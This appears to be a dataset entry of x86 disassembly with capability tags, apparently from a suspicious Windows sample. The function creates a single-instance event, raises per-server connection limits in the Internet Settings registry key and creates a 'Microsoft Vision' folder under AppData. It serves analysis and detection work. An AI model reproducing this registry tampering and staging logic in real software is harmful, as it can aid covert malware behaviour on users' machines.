Function at 0x419248
Capabilities:
Create directory
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x690
push esi
xor edx, edx
mov dword [esp + 0x14], 0xa
push edi
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
call fcn.0040632a
xorps xmm0, xmm0
mov dword [esp + 0x90], edx
lea ecx, [esp + 0xc0]
mov dword [esp + 0x94], edx
movups xmmword [esp + 0xa0], xmm0
mov dword [esp + 0xb0], edx
call fcn.0040632a
push str.SHCORE.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SetProcessDpiAwareness
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00401028
mov dword [esp], 0x104
lea eax, [esp + 0x38c]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x10]
mov dword [esp + 0x10], esi
lea ecx, [esp + 0x388]
call fcn.004170b1
mov edx, dword [esp + 0x10]
test edx, edx
je 0x4195ae
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], esi
push ecx
push 0x215a
mov ecx, eax
call fcn.00416e8e
push 0x20
pop edi
push edi
call fcn.00401000
add esp, 0xc
mov esi, eax
mov byte [eax], 0
inc eax
sub edi, 1
jne 0x41931b
mov eax, dword [esp + 0xc]
mov dword [esi], eax
call fcn.004145c4
cmp eax, 1
jne 0x419337
mov byte [esi], 0x41
push esi
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x554090], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4195ae
cmp dword [0x554090], 0
je 0x4195ae
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x18]
push eax
xor eax, eax
push eax
push 0xf003f
push eax
push eax
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x18]
push 4
pop edi
push edi
push eax
push edi
push 0
push str.MaxConnectionsPer1_0Server
push dword [esp + 0x28]
call esi
push edi
lea eax, [esp + 0x1c]
push eax
push edi
push 0
push str.MaxConnectionsPerServer
push dword [esp + 0x28]
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x28]
call fcn.00406352
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x94]
call fcn.00415fda
lea ecx, [esp + 0x12c]
mov dword [esp + 0x128], 0x41a8ec
call fcn.0040577e
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x314]
call fcn.0040508d
lea eax, [esp + 0x90]
mov dword [esp + 0x378], eax
xor eax, eax
push 0x208
push eax
mov dword [esp + 0x384], eax
mov dword [esp + 0x38c], eax
lea eax, [esp + 0x498]
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [esp + 0x490]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [esp + 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea eax, [esp + 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esp + 0x6c], 0
je 0x41949b
call fcn.004145c4
cmp eax, 1
je 0x41949b
call fcn.00414af2
cmp eax, 0xa
jb 0x419496
call fcn.00416bfb
jmp 0x41949b
call fcn.00416a86
cmp dword [esp + 0x70], 0
je 0x4194bc
call fcn.004145c4
cmp eax, 1
jne 0x4194bc
call fcn.00418f87
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x78], 0
je 0x4194db
push 0
push 0x40b46f
mov ecx, 0x554bf8
mov byte [0x554bf4], 1
call fcn.0040a66f
cmp dword [esp + 0x7c], 0
je 0x4194f5
push dword [esp + 0x84]
push dword [esp + 0x84]
call fcn.00413b29
cmp dword [esp + 0xb4], 0
jne 0x41958a
push dword [esp + 0x74]
lea ecx, [esp + 0x94]
push dword [esp + 0x54]
push dword [esp + 0x50]
call fcn.004162d9
cmp dword [esp + 0x48], 0
je 0x41958a
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
cmp dword [esp + 0xb0], eax
je 0x419564
push dword [esp + 0xb0]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [esp + 0xb0]
mov dword [esp + 0x20], eax
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x30]
call fcn.00415b3f
mov ecx, dword [esp + 0x1c]
call fcn.004068b7
xor ecx, ecx
call fcn.004068b7
jmp 0x4195a2
cmp dword [esp + 0x68], 0
je 0x419596
call fcn.0041766d
lea ecx, [esp + 0x128]
call fcn.0040516a
lea ecx, [esp + 0x128]
call fcn.00405756
lea ecx, [esp + 0x90]
call fcn.004168cb
lea ecx, [esp + 0x28]
call fcn.0040666b
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8